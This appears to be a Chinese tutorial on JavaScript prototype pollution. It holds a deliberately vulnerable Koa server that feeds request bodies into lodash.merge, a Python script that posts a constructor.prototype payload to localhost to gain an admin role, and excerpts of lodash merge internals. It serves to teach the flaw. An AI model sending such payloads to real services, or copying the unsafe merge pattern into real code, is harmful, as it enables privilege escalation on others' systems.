利用原型链漏洞污染拿下服务器权限

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

var lucky_girl = {name: 'NAUG', age: 18};
lucky_girl.__proto__.role = 'administrator'
var amazing_girl = {}
amazing_girl.role    

const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const lodash = require("lodash");

const app = new Koa();
app.use(bodyParser());

// 合并函数
const combine = (payload = {}) => {
  const prefixPayload = { nickname: "friend" };
  // 用法可参考：https://lodash.com/docs/4.17.15#merge
  lodash.merge(prefixPayload, payload);
  // 另外其他也存在问题的函数：merge defaultsDeep mergeWith
};

app.use(async (ctx) => {
  // 某业务场景下，合并了用户提交的payload
  if(ctx.method === 'POST') {
    combine(ctx.request.body);
  }
  // 某页面某处逻辑
  const user = {
    username: "visitor",
  };
  let welcomeText = "同学，理财基金推荐，了解一下？日入十万不是梦哦，不要手续费不要服务费，8周年店庆大酬宾！走过路过不要错过，错过别失落:)";
  // 因user.role不存在，所以恒为假（false），其中代码不可能执行
  if (user.role === "admin") {
    welcomeText = "尊敬的VIP，您来啦！";
  }
  ctx.body = welcomeText;
});
app.listen(3001, () => {
  console.log("Running: http://localohost:3001");
});

import requests
import json
req = requests.Session()
target_url = 'http://127.0.0.1:3001'
headers = {'Content-type': 'application/json'}
payload = {"constructor": {"prototype": {"role": "admin"}}}
res = req.post(target_url, data=json.dumps(payload),headers=headers)
print('attack finish！')

/**
 * The base implementation of `_.merge` without support for multiple sources.
 *
 * @private
 * @param {Object} object The destination object.
 * @param {Object} source The source object.
 * @param {number} srcIndex The index of `source`.
 * @param {Function} [customizer] The function to customize merged values.
 * @param {Object} [stack] Tracks traversed source values and their merged
 *  counterparts.
 */
function baseMerge(object, source, srcIndex, customizer, stack) {
  if (object === source) {
    return;
  }
  baseFor(source, function(srcValue, key) {
    if (isObject(srcValue)) {
      stack || (stack = new Stack);
      baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
    }
    else {
      var newValue = customizer
        ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
        : undefined;

      if (newValue === undefined) {
        newValue = srcValue;
      }
      assignMergeValue(object, key, newValue);
    }
  }, keysIn);
}

function safeGet(object, key) {
  return key == '__proto__'
    ? undefined
    : object[key];
}

function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
  var objValue = safeGet(object, key),
      srcValue = safeGet(source, key),
      stacked = stack.get(srcValue);

  if (stacked) {
    assignMergeValue(object, key, stacked);
    return;
  }
  var newValue = customizer
    ? customizer(objValue, srcValue, (key + ''), object, source, stack)
    : undefined;

  var isCommon = newValue === undefined;

  if (isCommon) {
    var isArr = isArray(srcValue),
        isBuff = !isArr && isBuffer(srcValue),
        isTyped = !isArr && !isBuff && isTypedArray(srcValue);

    newValue = srcValue;
    if (isArr || isBuff || isTyped) {
      if (isArray(objValue)) {
        newValue = objValue;
      }
      else if (isArrayLikeObject(objValue)) {
        newValue = copyArray(objValue);
      }
      else if (isBuff) {
        isCommon = false;
        newValue = cloneBuffer(srcValue, true);
      }
      else if (isTyped) {
        isCommon = false;
        newValue = cloneTypedArray(srcValue, true);
      }
      else {
        newValue = [];
      }
    }
    else if (isPlainObject(srcValue) || isArguments(srcValue)) {
      newValue = objValue;
      if (isArguments(objValue)) {
        newValue = toPlainObject(objValue);
      }
      else if (!isObject(objValue) || (srcIndex && isFunction(objValue))) {
        newValue = initCloneObject(srcValue);
      }
    }
    else {
      isCommon = false;
    }
  }
  if (isCommon) {
    // Recursively merge objects and arrays (susceptible to call stack limits).
    stack.set(srcValue, newValue);
    mergeFunc(newValue, srcValue, srcIndex, customizer, stack);
    stack['delete'](srcValue);
  }
  assignMergeValue(object, key, newValue);
}

function assignMergeValue(object, key, value) {
  if ((value !== undefined && !eq(object[key], value)) ||
      (value === undefined && !(key in object))) {
    baseAssignValue(object, key, value);
  }
}

function baseAssignValue(object, key, value) {
  if (key == '__proto__' && defineProperty) {
    defineProperty(object, key, {
      'configurable': true,
      'enumerable': true,
      'value': value,
      'writable': true
    });
  } else {
    object[key] = value;
  }
}

prefixPayload = { nickname: "NAUG" };
lodash.merge(prefixPayload, payload);
// 然后就给原型对象赋值了一个名为role，值为admin的属性